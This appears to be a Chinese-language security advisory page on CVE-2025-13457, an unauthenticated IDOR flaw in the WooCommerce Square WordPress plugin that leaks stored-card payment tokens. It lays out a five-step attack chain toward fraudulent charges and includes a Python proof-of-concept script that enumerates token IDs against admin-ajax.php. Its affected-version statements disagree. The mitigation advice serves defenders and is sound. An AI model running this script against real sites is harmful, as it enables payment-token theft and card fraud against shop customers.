IPBUF安全漏洞报告
English
CVE-2025-13457 CVSS 7.5 高危

CVE-2025-13457 WooCommerce Square插件IDOR漏洞导致信用卡令牌泄露

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2025-13457
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WooCommerce Square插件 for WordPress

相关标签

IDORWooCommerce SquareWordPress插件支付令牌泄露未授权访问信用卡欺诈CVSS 7.5高危漏洞CVE-2025-13457Square支付集成

漏洞概述

CVE-2025-13457是WordPress平台WooCommerce Square插件中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞属于Insecure Direct Object Reference(IDOR,不安全的直接对象引用)类型,产生于插件的get_token_by_id函数中。由于该函数缺少对用户控制键的充分验证,攻击者可以通过操纵特定的参数值,在无需任何认证的情况下访问其他用户的敏感支付令牌信息。具体而言,攻击者能够获取任意的Square支付网关"ccof"(credit card on file,存档信用卡)值,这些值通常与用户绑定的支付方式相关联。一旦攻击者成功获取这些敏感的信用卡令牌信息,就有可能利用这些数据进行欺诈性交易,对网站和用户造成经济损失。该漏洞影响插件5.1.1及之前的所有版本,由于WooCommerce Square是广泛使用的支付集成插件,此漏洞可能影响大量使用该插件进行在线交易的WordPress网站。

技术细节

该漏洞的技术根源在于WooCommerce Square插件的get_token_by_id函数缺乏适当的访问控制验证。在正常的支付流程中,系统应当验证当前用户是否有权访问特定的支付令牌资源。然而,由于该函数直接使用用户提供的标识符(如token_id或ccof值)来查询数据库或调用Square API,而没有进行权限校验或对象所有权验证,攻击者可以通过枚举或猜测的方式获取他人的支付令牌。具体攻击过程如下:攻击者构造恶意的API请求,目标指向WordPress站点的相关Ajax端点或REST API接口,在请求参数中注入任意的ccof标识符值。由于服务端未验证该令牌是否属于发起请求的当前用户,因此会返回对应令牌的详细信息,包括持卡人信息、卡号后四位等敏感数据。攻击者获取这些信息后,可结合其他社会工程学手段或直接利用这些令牌数据进行未授权支付操作。由于漏洞存在于支付处理的关键环节,且利用无需认证,因此具有较高的实际威胁性。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WooCommerce Square插件版本,确定版本号小于等于5.1.1
STEP 2
步骤2: 端点识别
攻击者定位插件的Ajax端点(admin-ajax.php)或REST API接口,这些端点调用了存在漏洞的get_token_by_id函数
STEP 3
步骤3: 令牌枚举
攻击者构造恶意请求,在token_id或ccof参数中注入任意的Square支付令牌标识符,由于缺少访问控制验证,服务端会返回对应令牌的信息
STEP 4
步骤4: 敏感数据提取
通过响应数据,攻击者获取信用卡存档令牌、持卡人信息、卡号后四位等敏感支付数据
STEP 5
步骤5: 欺诈性交易
攻击者利用获取的ccof令牌信息,在目标网站或其他集成Square支付的平台上进行未授权的支付操作,导致欺诈性收费

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13457 WooCommerce Square IDOR PoC # Description: Unauthenticated attackers can access arbitrary Square ccof tokens # CVSS: 7.5 (High) import requests import json TARGET_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" def exploit_idor(target_url, ccof_token): """ Exploit the IDOR vulnerability in WooCommerce Square plugin to retrieve credit card on file (ccof) tokens. Args: target_url: Target WordPress site URL ccof_token: Arbitrary Square ccof token to access Returns: Response data containing token information """ headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # The vulnerable endpoint uses action parameter # Token is passed without proper authorization check data = { "action": "wc_square_get_token", "token_id": ccof_token, "ccof": ccof_token } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) return response.json() if response.status_code == 200 else None except requests.RequestException as e: print(f"Request failed: {e}") return None def main(): # Example ccof tokens - enumerate to find valid ones sample_tokens = [ "ccof_example_token_1", "ccof_example_token_2", "ccof_example_token_3" ] for token in sample_tokens: print(f"[*] Attempting to access token: {token}") result = exploit_idor(TARGET_URL, token) if result: print(f"[!] Successfully retrieved token data: {json.dumps(result, indent=2)}") print(f"[!] This token may be used for fraudulent charges") if __name__ == "__main__": main()

影响范围

WooCommerce Square插件 < 5.1.1 (所有版本)

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制或禁用Square支付功能,避免处理敏感支付信息;2)启用双因素认证,增加账户安全性;3)实施IP白名单策略,限制对管理后台的访问;4)使用Web应用防火墙监控异常请求模式;5)加强日志审计,及时发现可疑的支付令牌访问行为;6)考虑暂时切换到其他支付网关,待官方修复后再恢复Square集成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表